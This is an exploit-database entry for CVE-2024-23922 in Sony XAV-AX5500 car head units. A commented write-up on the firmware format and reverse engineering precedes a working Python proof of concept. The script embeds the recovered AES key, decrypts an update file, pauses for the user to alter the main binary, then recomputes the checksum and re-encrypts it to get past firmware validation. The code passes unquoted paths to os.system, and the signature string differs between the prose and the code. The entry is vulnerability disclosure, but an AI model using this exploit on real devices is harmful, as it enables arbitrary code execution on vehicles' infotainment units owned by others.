# Exploit Title: Sony XAV-AX5500 Firmware Update Validation Remote Code Execution
# Date: 11-Feb-2025
# Exploit Author: lkushinada
# Vendor Homepage: https://www.sony.com/et/electronics/in-car-receivers-players/xav-ax5500
# Software Link: https://archive.org/details/xav-ax-5500-v-113
# Version: 1.13
# Tested on: Sony XAV-AX5500
# CVE : CVE-2024-23922
# From NIST CVE Details:
# ====
# This vulnerability allows physically present attackers to execute arbitrary code on affected
# installations of Sony XAV-AX5500 devices. Authentication is not required to exploit this
# vulnerability. The specific flaw exists within the handling of software updates. The issue
# results from the lack of proper validation of software update packages. An attacker can leverage
# this vulnerability to execute code in the context of the device.
# Was ZDI-CAN-22939
# ====
# # Summary
# Sony's firmware validation for a number of their XAV-AX products relies on symetric cryptography,
# obscurity of their package format, and a weird checksum method instead of any real firmware
# signing mechanism. As such, this can be exploited to craft updates which bypass firmware validation
# and allow a USB-based attacker to obtain RCE on the infotainment unit.
# What's not mentioned in the CVE advisories, is that this method works on the majority of Sony's
# infotainment units and products which use a similar chipset or firmware package format. Tested
# to work on most firmware versions prior to v2.00.
# # Threat Model
# An attacker with physical access to an automotive media unit can typically utilize other methods
# to achieve a malicious outcome. The reason to investigate the firmware to the extent in this post
# is academic, exploratory, and cautionary, i.e. what other systems are protected in a similar
# manner? if they are, how trivial is it to bypass?
# # Disclaimer
# The information in this article is for educational purposes only.
# Tampering with an automotive system comes with risks which, if you don't understand, you should
# not be undertaking.
# THE AUTHORS DISCLAIM ANY AND ALL RESPONSIBILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES ARISING
# FROM THE USE OF ANYTHING IN THIS DOCUMENT.
# # The Unit
# ## Processors
# - DAC
# - System Management Controller (SMC)
# - Applications Processor
# - Display Processor
# Coming from a mobile and desktop computer environment, one may be use to thinking about
# the Applications Processor as the most powerful chip in the system in terms of processing power,
# size, power consumption, and system hierarchy. The first oddity of this platform is that the
# application processor is not the most powerful; that honor goes to the DAC, a beefy ARM chip on the
# board.
# The application processor does not appear to be the orchestrator of the components on the system.
# The SMC tkes which takes the role of watchdog, power state management, and input (think remote
# controls, steering wheel button presses) routing.
# For our purposes, it is the Applications processor we're interested in, as it is
# the system responsible for updating the unit via USB.
# ## Interfaces
# We're going to be attacking the unit via USB, as it's the most readily exposed
# interface to owners and would-be attackers.
# Whilst the applications processor does have a UART interface, the most recent iterations of the
# unit do not expose any headers for debugging via UART, and the one active UART line found to be
# active was for message passing between the SMC and app processor, not debug purposes. Similarly, no
# exposed JTAG interfaces were found to be readily exposed on recent iterations of the unit. Sony's
# documentation suggests these are not enabled, but this could not be verified during testing. At the
# very least, JTAG was not found to be exposed on an accessible interface.
# ## Storage
# The boards analyzed had two SPI NOR flash chips, one with an unencrypted firmware image on it. This
# firmware was RARd. The contents of SPI flash was analyzed to determine many of the details
# discussed in this report.
# ## The Updater
# Updates are provided on Sony's support website. A ZIP package is provided with three files:
# - SHDS1132.up6
# - SHMC1132.u88
# - SHSO1132.fir
# The largest of these files (8 meg), the .fir, is in a custom format, and appears encrypted.
# The FIR file has a header which contains the date of firmware publication, the strings KRSELCO and
# SKIP, a chunk of zeros, and then a highish entropy section, and some repeating patterns of interest:
# 00002070 b7 72 10 03 00 8c 82 7e aa d1 83 58 23 ef 82 5c |.r.....~...X#..\|
# *
# 00002860 b7 72 10 03 00 8c 82 7e aa d1 83 58 23 ef 82 5c |.r.....~...X#..\|
# 00744110 b7 72 10 03 00 8c 82 7e aa d1 83 58 23 ef 82 5c |.r.....~...X#..\|
# *
# 00800020 b7 72 10 03 00 8c 82 7e aa d1 83 58 23 ef 82 5c |.r.....~...X#..\|
# ## SPI Flash
# Dumping the contents of the SPI flash shows a similar layout, with slightly different offsets:
# 00001fe0 10 10 10 10 10 10 10 10 ff ff ff ff ff ff ff ff |................|
# 00001ff0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
# *
# 000027f0 ff ff ff ff ff ff ff ff ff ff ff ff 00 03 e7 52 |...............R|
# 00002800 52 61 72 21 1a 07 00 cf 90 73 00 00 0d 00 00 00 |Rar!.....s......|
#
# 0007fff0 ff ff ff ff ff ff ff ff ff ff ff ff 00 6c 40 8b |.............l@.|
# 00080000 52 61 72 21 1a 07 00 cf 90 73 00 00 0d 00 00 00 |Rar!.....s......|
# ...
# 00744090 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
# *
# 00778000
#
# This given the offsets and spacing, we suspect that the .FIR matches the contents of the SPI.
# Decompressing the RARs at the 0x2800 and 0x80000, we get the recovery and main applications.
# Once we remove the packaging bytes, seeing that the repetive patterns align with FF's, gives
# us a strong indication the encryption function is operating in an ECB-style configuration,
# giving us an avenue, even if we do not recover the key, to potentially make modifications
# to the firmware depending on how the checksum is being calculated.
# ## Firmware
# The recovery application contains the decompression, decryption and checksum methods.
# Putting the recovery_16.bin into ghidra and setting the memory map to load us in at 0x2800,
# we start taking a look at the relevant functions by way of:
# - looking for known strings (KRSELCO)
# - analyizing the logic and looking for obvious "if this passed, begin the update, else fail"
# - looking for things that look like encryption (loads of bitshifting math in one function)
# Of interest to us, there is:
# - 0x0082f4 - a strcmp between KRSELCO and the address the incoming firmware update is at, plus 0x10
# - 0x00897a - a function which sums the total number of bytes until we hit 0xA5A5A5A5
# - 0x02d4ce - the AES decryption function
# - 0x040dd4 - strcmp (?)
# - 0x040aa4 - memcpy (?)
# - 0x046490 - the vendor plus the a number an idiot would use for their luggage, followed by enough
# padding zeros to get us to a 16 byte key
# This gives us all the information we need, other than making some guesses as to the general package
# and header layout of the update package, to craft an update packager that allows arbitrary
# modification of the firmware.
# # Proof of Concept
# The PoC below will take an existing USB firmware update, decrypt and extract the main binary,
# pause whilst you make modifications (e.g. changing the logic or modifying a message), and repackage
# the update.
# ## Requirements
# - Unixish system
# - WinRar 2.0 (the version the Egyptians built the pyramids with)
# ## Usage
# cve-2024-23922.py path_to_winrar source.fir output.fir
import argparse
import sys
import os
import tempfile
import shutil
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
# Filenames as found in the .FIR
MAIN_BINARY_NAME="main_16.bin"
MAIN_RAR_NAME="main_16.rar"
DECRYPTED_FILE_NAME="decrypt.bin"
ENCRYPTED_FILE_NAME="encrypt.bin"
# Offsets in the .FIR
HEADER_LENGTH=0x80
RECOVERY_OFFSET=0x2800
MAIN_OFFSET=0x80000
CHECKSUM_OFFSET=0x800000-0x10
CHECKSUM_SIZE=0x4
RAR_LENGTH_OFFSET=0x4
RAR_LENGTH_SIZE=0x4
# From 0x46490 in recovery_16.bin
ENCRYPTION_KEY=b'\x54\x41\x4d\x55\x4c\x31\x32\x33\x34\x00\x00\x00\x00\x00\x00\x00'
def decrypt_file(input_file, output_file):
backend = default_backend()
cipher = Cipher(algorithms.AES(ENCRYPTION_KEY), modes.ECB(), backend=backend)
decryptor = cipher.decryptor()
with open(input_file, 'rb') as file:
ciphertext = file.read()
# Strip the unencrypted header
ciphertext = ciphertext[HEADER_LENGTH:]
decrypted_data = decryptor.update(ciphertext) + decryptor.finalize()
with open(output_file, 'wb') as file:
file.write(decrypted_data)
def aes_encrypt_file(input_file, output_file):
backend = default_backend()
cipher = Cipher(algorithms.AES(ENCRYPTION_KEY), modes.ECB(), backend=backend)
encryptor = cipher.encryptor()
with open(input_file, 'rb') as file:
plaintext = file.read()
ciphertext = encryptor.update(plaintext) + encryptor.finalize()
with open(output_file, 'wb') as file:
file.write(ciphertext)
def get_sony_32(data):
csum = int()
for i in data:
csum = csum + i
return csum % 2147483648 # 2^31
def validate_args(winrar_path, source_file, destination_file):
# Check if the WinRAR executable exists and is a file
if not os.path.isfile(winrar_path) or not os.access(winrar_path, os.X_OK):
print(f"[x] Error: The specified WinRAR path '{winrar_path}' is not a valid executable.")
sys.exit(1)
# Check if the source file exists
if not os.path.isfile(source_file):
print(f"[x] Error: The specified source file '{source_file}' does not exist.")
sys.exit(1)
# Read 8 bytes from offset 0x10 in the source file
try:
with open(source_file, 'rb') as f:
f.seek(0x10)
signature = f.read(8)
if signature != b'KRSELECO':
print(f"[x] Error: The source file '{source_file}' does not contain the expected signature.")
sys.exit(1)
except Exception as e:
print(f"[x] Error: Failed to read from '{source_file}': {e}")
sys.exit(1)
# Check if the destination file already exists
if os.path.exists(destination_file):
print(f"[x] Error: The destination file '{destination_file}' already exists.")
sys.exit(1)
def main():
parser = argparse.ArgumentParser(description="CVE-2024-23922 Sony XAV-AX5500 Firmware Modifier")
parser.add_argument("winrar_path", help="Path to WinRAR 2.0 executable (yes, the ancient one)")
parser.add_argument("source_file", help="Path to original .FIR file")
parser.add_argument("destination_file", help="Path to write the modified .FIR file to")
args = parser.parse_args()
validate_args(args.winrar_path, args.source_file, args.destination_file)
RAR_2_PATH = args.winrar_path
GOOD_FIRMWARE_FILE = args.source_file
DESTINATION_FIRMWARE_FILE = args.destination_file
# make temporary directory
workdir = tempfile.mkdtemp(prefix="sony_firmware_modifications")
# copy the good firmware file into the temp directory
temp_fir_file = os.path.join(workdir, os.path.basename(GOOD_FIRMWARE_FILE))
shutil.copyfile(GOOD_FIRMWARE_FILE, temp_fir_file)
print("[+] Cutting the head off and decrypting the contents")
decrypted_file_path = os.path.join(workdir, DECRYPTED_FILE_NAME)
decrypt_file(input_file=temp_fir_file, output_file=decrypted_file_path)
print("[+] Dump out the rar file")
with open(decrypted_file_path, 'rb') as file:
# right before the rar file there is a 4 byte length header for the rar file. get that.
file.seek(MAIN_OFFSET-RAR_LENGTH_OFFSET)
original_rar_length = int.from_bytes(file.read(RAR_LENGTH_SIZE), "big")
rar_file_bytes = file.read(original_rar_length)
# now dump that out
rar_file_path=os.path.join(workdir, MAIN_RAR_NAME)
with open(rar_file_path, 'wb') as rarfile:
rarfile.write(rar_file_bytes)
# check that the stat of the file matches what the header told us
dumped_rar_size = os.stat(rar_file_path).st_size
if dumped_rar_size != original_rar_length:
print("[!] extracted filesizes dont match, there may be corruption", dumped_rar_size, original_rar_length)
print("[+] Extracting the main binary from the rar file")
os.system("unrar x " + rar_file_path + " " + workdir)
print("[!] Okay, I'm now going to wait until you have had a chance to make modifications")
print("Please modify this file:", os.path.join(workdir, MAIN_BINARY_NAME))
input()
print("[+] Continuing")
print("[+] Putting your main binary back into the rar file")
os.system("wine " + RAR_2_PATH + " u -tk -ep " + rar_file_path + " " + workdir + "/" + MAIN_BINARY_NAME)
# we could fix this by writing some FFs
new_rar_size=os.stat(rar_file_path).st_size
if dumped_rar_size > os.stat(rar_file_path).st_size:
print("[!!] The rar size is smaller than the old one. This might cause a problem.")
print("[!!] Push any key to continue, ctrl+c to abort")
input()
with open(decrypted_file_path, 'r+b') as file:
# right before the rar file there is a 4 byte length header for the rar file. go back there
file.seek(MAIN_OFFSET-RAR_LENGTH_OFFSET)
# overwrite the old size with the new size
file.write(new_rar_size.to_bytes(RAR_LENGTH_SIZE, "big"))
print("[+] Deleting the old rar from the main container")
# delete the old rar from the main container by FFing it up
file.write(b'\xFF'*original_rar_length)
# seek back to the start
file.seek(MAIN_OFFSET)
print("[+] Loading the new rar back into the main container")
with open(rar_file_path, 'rb') as rarfile:
new_rarfile_bytes = rarfile.read()
file.write(new_rarfile_bytes)
print("[+] Updating Checksum")
with open(decrypted_file_path, 'rb') as file:
contents = file.read()
contents = contents[:-0x0010]
s32_sum = get_sony_32(contents)
with open(decrypted_file_path, 'r+b') as file:
file.seek(CHECKSUM_OFFSET)
# read out the current checksum
old_checksum_bytes=file.read(CHECKSUM_SIZE)
print("old checksum:", int.from_bytes(old_checksum_bytes, "big"), old_checksum_bytes)
# go back and update it with new checksum
print("new checksum:", s32_sum, hex(s32_sum))
new_checksum_bytes=s32_sum.to_bytes(CHECKSUM_SIZE, "big")
file.seek(CHECKSUM_OFFSET)
file.write(new_checksum_bytes)
print("[+] Encrypting the main container back up")
encrypted_file_path = os.path.join(workdir, ENCRYPTED_FILE_NAME)
aes_encrypt_file(decrypted_file_path, encrypted_file_path)
print("[+] Reattaching the main container to the header and writing to dest")
with open(DESTINATION_FIRMWARE_FILE, 'wb') as file:
with open(temp_fir_file, 'rb') as firfile:
header = firfile.read(HEADER_LENGTH)
file.write(header)
with open(encrypted_file_path, 'rb') as encfile:
enc_contents = encfile.read()
file.write(enc_contents)
print("[+] DONE!!! Any key to delete temp files, ctrl+c to keep them.")
input()
shutil.rmtree(workdir)
if __name__ == "__main__":
main()